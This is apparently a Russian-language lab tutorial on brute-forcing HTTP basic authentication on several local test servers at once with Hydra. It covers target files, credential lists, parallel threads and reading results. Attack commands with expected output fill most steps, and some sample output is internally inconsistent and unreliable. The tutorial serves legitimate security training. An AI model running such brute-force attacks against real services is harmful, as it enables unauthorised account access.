Атака на несколько целей с помощью Hydra

HydraBeginner
Практиковаться сейчас

Введение

В этом лабораторном практикуме вы узнаете, как атаковать несколько целей одновременно с помощью Hydra. Лабораторный практикум фокусируется на использовании возможностей Hydra для попыток взлома паролей на списке целевых хостов.

Практикум проведет вас через создание файла списка целей, содержащего IP-адреса или имена хостов, загрузку этого файла в Hydra с помощью опции -M, запуск параллельной HTTP-атаки на цели и, наконец, проверку вывода для определения успешных входов в систему на нескольких хостах. Этот практический опыт предоставит вам практические навыки использования Hydra для пентестирования и аудита безопасности.

Создание файла списка целей

На этом шаге вы создадите файл списка целей. Этот файл будет содержать список целевых URL-адресов, к которым Hydra будет пытаться подключиться и взломать пароли. Это важный шаг в любом сценарии пентеста или аудита безопасности.

Файл списка целей для HTTP-атак содержит URL-адреса вместо только IP-адресов. Каждая строка представляет собой целевую веб-службу с HTTP-аутентификацией по основанию. В нашей лабораторной среде мы настроили несколько веб-серверов Apache, работающих на разных портах с аутентификацией по основанию.

Все операции в этом практикуме будут выполняться в каталоге ~/project.

  1. Сначала давайте проверим, что наши тестовые веб-серверы работают:

    curl -I http://127.0.0.1:8081/ 2> /dev/null | head -1
    curl -I http://127.0.0.1:8082/ 2> /dev/null | head -1
    curl -I http://127.0.0.1:8083/ 2> /dev/null | head -1
    HTTP/1.1 401 Unauthorized
    HTTP/1.1 401 Unauthorized
    HTTP/1.1 401 Unauthorized

    Вы должны увидеть заголовки HTTP-ответов, указывающие на работу серверов.

  2. Создайте файл целей с нашими тестовыми веб-серверами:

    cd ~/project
    echo "127.0.0.1:8081" > targets.txt
    echo "127.0.0.1:8082" >> targets.txt
    echo "127.0.0.1:8083" >> targets.txt

    Это создает список целей с тремя HTTP-службами, работающими на локальном хосте на разных портах:

    • Порт 8081: Защищен пользователем admin и паролем password123
    • Порт 8082: Защищен пользователем user и паролем secret
    • Порт 8083: Защищен пользователем testuser и паролем password
  3. Проверьте, что файл был создан и содержит цели:

    cat ~/project/targets.txt

    Вы должны увидеть вывод, подобный:

    127.0.0.1:8081
    127.0.0.1:8082
    127.0.0.1:8083
  4. Протестируйте один из защищенных ресурсов, чтобы подтвердить необходимость аутентификации:

    curl http://127.0.0.1:8081/

    Вы должны увидеть HTTP-ответ 401 Unauthorized, подтверждающий, что требуется аутентификация по основанию.

Теперь вы успешно создали файл списка целей с именем targets.txt в каталоге ~/project с HTTP-службами, требующими аутентификации. Этот файл будет использован на следующем шаге для загрузки целей в Hydra.

Загрузка целей с опцией -M

В этом шаге вы узнаете, как загрузить файл списка целей, созданный на предыдущем шаге, в Hydra с помощью опции -M. Опция -M сообщает Hydra о чтении списка целевых хостов из файла. Это особенно полезно, когда у вас большое количество целей для тестирования.

Для HTTP-атак базовая синтаксис:

hydra -M <target_file> http-get <path>

Где:

  • <target_file> — путь к файлу, содержащему список целевых хостов.
  • http-get — указывает, что мы атакуем HTTP-аутентификацию по основанию с помощью запросов GET.
  • <path> — путь на веб-сервере для атаки (например, / для корневого каталога).

Давайте составим команду Hydra для загрузки целей из файла targets.txt и атаки HTTP-аутентификации по основанию.

  1. Создайте списки имен пользователей и паролей для нашей атаки:

    cd ~/project
    echo "admin" > users.txt
    echo "user" >> users.txt
    echo "testuser" >> users.txt
    echo "root" >> users.txt

    Это создает список имен пользователей с фактическими именами пользователей, которые мы настроили, плюс общее имя пользователя root.

  2. Создайте список паролей:

    echo "password123" > passwords.txt
    echo "secret" >> passwords.txt
    echo "password" >> passwords.txt
    echo "admin" >> passwords.txt
    echo "123456" >> passwords.txt

    Это создает список паролей, содержащий фактические пароли, которые мы настроили, плюс некоторые распространённые слабые пароли.

  3. Теперь выполните команду Hydra для загрузки целей из файла targets.txt и попытки взлома HTTP-аутентификации по основанию:

    hydra -L ~/project/users.txt -P ~/project/passwords.txt -M ~/project/targets.txt http-get /

    Ожидаемые результаты: Вы должны увидеть, как Hydra пытается подключиться ко всем трём HTTP-службам и успешно взламывает пароли для каждой из них:

    Hydra v9.x (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.
    
    Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-XX-XX XX:XX:XX
    [DATA] max 16 tasks per 1 server, overall 64 tasks, 60 login tries (l:4/p:5), ~1 try per task
    [DATA] attacking http-get://127.0.0.1:8081:80/
    [DATA] attacking http-get://127.0.0.1:8082:80/
    [DATA] attacking http-get://127.0.0.1:8083:80/
    [8081][http-get] host: 127.0.0.1   login: admin   password: password123
    [8082][http-get] host: 127.0.0.1   login: user   password: secret
    [8083][http-get] host: 127.0.0.1   login: testuser   password: password
    1 of 3 targets completed, 3 valid passwords found
    Hydra finished.

    Это показывает, что Hydra успешно нашел действительные учетные данные для всех трёх HTTP-служб.

  4. При необходимости вы также можете протестировать с более конкретным путем:

    hydra -L ~/project/users.txt -P ~/project/passwords.txt -M ~/project/targets.txt http-get /index.html

В этом шаге вы успешно освоили загрузку целей из файла с помощью опции -M в Hydra для HTTP-атак. Это фундаментальный навык для проведения атак на взлом паролей в больших масштабах на веб-службы с аутентификацией по основанию.

Запуск параллельной HTTP-атаки

В этом шаге вы узнаете, как запустить параллельную HTTP-атаку с помощью Hydra. Запуск атак параллельно значительно ускоряет процесс взлома, особенно при работе с несколькими целями. Hydra позволяет указать количество параллельных задач с помощью опции -t.

Опция -t управляет количеством параллельных подключений, которые Hydra будет устанавливать. Для HTTP-атак это особенно эффективно, так как веб-серверы обычно лучше справляются с несколькими одновременными подключениями, чем службы SSH.

Давайте изменим предыдущую команду Hydra, чтобы запустить HTTP-атаку с заданным количеством потоков.

  1. Выполните следующую команду Hydra, чтобы запустить HTTP-атаку с 8 потоками:

    cd ~/project
    hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get /

    В этой команде опция -t 8 сообщает Hydra использовать 8 параллельных потоков. Это означает, что Hydra будет пытаться подключиться к нескольким целям одновременно и пробовать различные комбинации имени пользователя/пароля параллельно.

    Ожидаемый вывод:

    Hydra v9.x (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.
    
    Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-XX-XX XX:XX:XX
    [DATA] max 8 tasks per 1 server, overall 24 tasks, 60 login tries (l:4/p:5), ~3 try per task
    [DATA] attacking http-get://127.0.0.1:8081:80/
    [DATA] attacking http-get://127.0.0.1:8082:80/
    [DATA] attacking http-get://127.0.0.1:8083:80/
    [8081][http-get] host: 127.0.0.1   login: admin   password: password123
    [8082][http-get] host: 127.0.0.1   login: user   password: secret
    [8083][http-get] host: 127.0.0.1   login: testuser   password: password
    1 of 3 targets completed, 3 valid passwords found
    Hydra finished.
  2. Экспериментируйте с различными значениями для опции -t. Попробуйте увеличить количество потоков, чтобы увидеть, как это повлияет на скорость:

    hydra -L users.txt -P passwords.txt -t 16 -M targets.txt http-get /

    Вы можете заметить, что с большим количеством потоков атака завершается быстрее, но точное время зависит от возможностей вашей системы.

  3. Вы также можете добавить подробный вывод, чтобы увидеть больше деталей о процессе атаки:

    hydra -L users.txt -P passwords.txt -t 8 -v -M targets.txt http-get /

    Флаг -v предоставляет подробный вывод, показывающий каждую попытку входа, что полезно для понимания того, что именно тестирует Hydra.

  4. Для еще более подробного вывода можно использовать опцию -V (очень подробный вывод):

    hydra -L users.txt -P passwords.txt -t 8 -V -M targets.txt http-get /

Важные моменты для HTTP-атак:

  • Ограничения веб-сервера: Большинство веб-серверов могут обрабатывать множество одновременных подключений, что делает HTTP-атаки обычно быстрее, чем другие протоколы.
  • Ограничение скорости: Некоторые веб-приложения реализуют ограничение скорости, которое может блокировать быстрые попытки аутентификации.
  • Ведение журнала: Попытки HTTP-аутентификации обычно регистрируются веб-серверами, что облегчает обнаружение.
  • SSL/HTTPS: Для целей HTTPS вы бы использовали http-get с поддержкой SSL или https-get для явного HTTPS.

В этом шаге вы успешно узнали, как запускать параллельные HTTP-атаки с помощью Hydra с опцией -t. Этот метод особенно эффективен для веб-приложений с аутентификацией по основанию.

Проверка вывода для нескольких хостов

В этом шаге вы научитесь интерпретировать вывод Hydra при атаке на несколько HTTP-целей. Вывод Hydra предоставляет ценную информацию об успехе или неудаче попыток атаки на разных веб-сервисах.

Когда Hydra успешно взламывает пароль HTTP-аутентификации по основанию, она отображает учетные данные в следующем формате:

[<порт>][http-get] host: <хост>   login: <имя_пользователя>   password: <пароль>

Например:

[8081][http-get] host: 127.0.0.1   login: admin   password: password123

Это указывает, что Hydra успешно взломала HTTP-аутентификацию по основанию для пользователя admin на хосте 127.0.0.1 на порту 8081 с паролем password123.

Давайте проанализируем вывод HTTP-атак и поймём, что означают разные результаты.

  1. Запустите полную команду Hydra ещё раз, чтобы увидеть весь вывод:

    cd ~/project
    hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get /
  2. Изучите подробный вывод. Вы должны увидеть результаты для всех трёх целей:

    Ожидаемый полный вывод:

    Hydra v9.x (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.
    
    Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-XX-XX XX:XX:XX
    [DATA] max 8 tasks per 1 server, overall 24 tasks, 60 login tries (l:4/p:5), ~3 try per task
    [DATA] attacking http-get://127.0.0.1:8081:80/
    [DATA] attacking http-get://127.0.0.1:8082:80/
    [DATA] attacking http-get://127.0.0.1:8083:80/
    [8081][http-get] host: 127.0.0.1   login: admin   password: password123
    [8082][http-get] host: 127.0.0.1   login: user   password: secret
    [8083][http-get] host: 127.0.0.1   login: testuser   password: password
    1 of 3 targets completed, 3 valid passwords found
    Hydra finished.
  3. Чтобы увидеть, как выглядят неудачные попытки, создадим сценарий с неверными учетными данными. Создайте новый файл паролей с в основном неправильными паролями:

    echo "wrongpass" > wrong_passwords.txt
    echo "badpass" >> wrong_passwords.txt
    echo "password123" >> wrong_passwords.txt ## Только один правильный пароль
  4. Запустите Hydra с подробным выводом, чтобы увидеть как успешные, так и неудачные попытки:

    hydra -L users.txt -P wrong_passwords.txt -t 4 -v -M targets.txt http-get /

    Вы увидите подробный вывод, показывающий успешную попытку:

    ... (вывод, аналогичный предыдущему примеру)
  5. Сохраните результаты в файл для последующего анализа:

    hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get / -o hydra_results.txt

    Проверьте файл результатов:

    cat hydra_results.txt

Как интерпретировать результаты HTTP-атак:

  • Успешные атаки: Строки, начинающиеся с [порт][http-get], показывают успешное обнаружение учетных данных.
  • Информация о цели: Каждый успешный результат показывает точный хост, порт, имя пользователя и пароль.
  • Статистические данные: Последняя строка показывает, сколько целей было атаковано и сколько было найдено правильных паролей.
  • Неудачные попытки: В режиме подробного вывода вы можете увидеть каждую неудачную попытку входа.
  • Файлы вывода: Использование -o сохраняет только успешные результаты в файл для простого анализа.

Ключевые различия от других протоколов:

  • HTTP-атаки показывают номер порта чётко в результатах.
  • Время отклика обычно быстрее, чем при атаках на SSH.
  • Несколько областей аутентификации на одном сервере будут отображаться как разные цели.
  • HTTP-коды состояния (например, 401, 403) предоставляют дополнительный контекст о неудачах.

В этом шаге вы научились интерпретировать вывод Hydra при атаке на несколько HTTP-целей, понимать разницу между успешными и неудачными попытками и сохранять результаты для анализа. Эти знания имеют решающее значение для эффективного тестирования безопасности веб-приложений.

Резюме

В этом лабораторном практикуме вы изучили, как проводить атаки на несколько целей с помощью Hydra против HTTP-сервисов с аутентификацией по основанию. Вы создали файл списка целей, содержащий несколько веб-серверов, работающих на разных портах, каждый из которых защищён аутентификацией по основанию с использованием различных комбинаций имени пользователя и пароля.

Вы узнали, как использовать опцию -M для загрузки нескольких целей из файла, что делает эффективной атаку на множество веб-сервисов одновременно. Лабораторный практикум продемонстрировал, как использовать опцию -t для управления параллельными потоками для более быстрых HTTP-атак, и вы научились интерпретировать вывод Hydra, чтобы определить успешные попытки аутентификации на нескольких целях.

Этот подход особенно ценен для тестирования безопасности веб-приложений, где вам может потребоваться проверить аутентификацию по основанию на нескольких сервисах, виртуальных хостах или различных путях на веб-серверах. Изученные вами техники создают основу для проведения всесторонней оценки безопасности веб-приложений в контейнерных средах.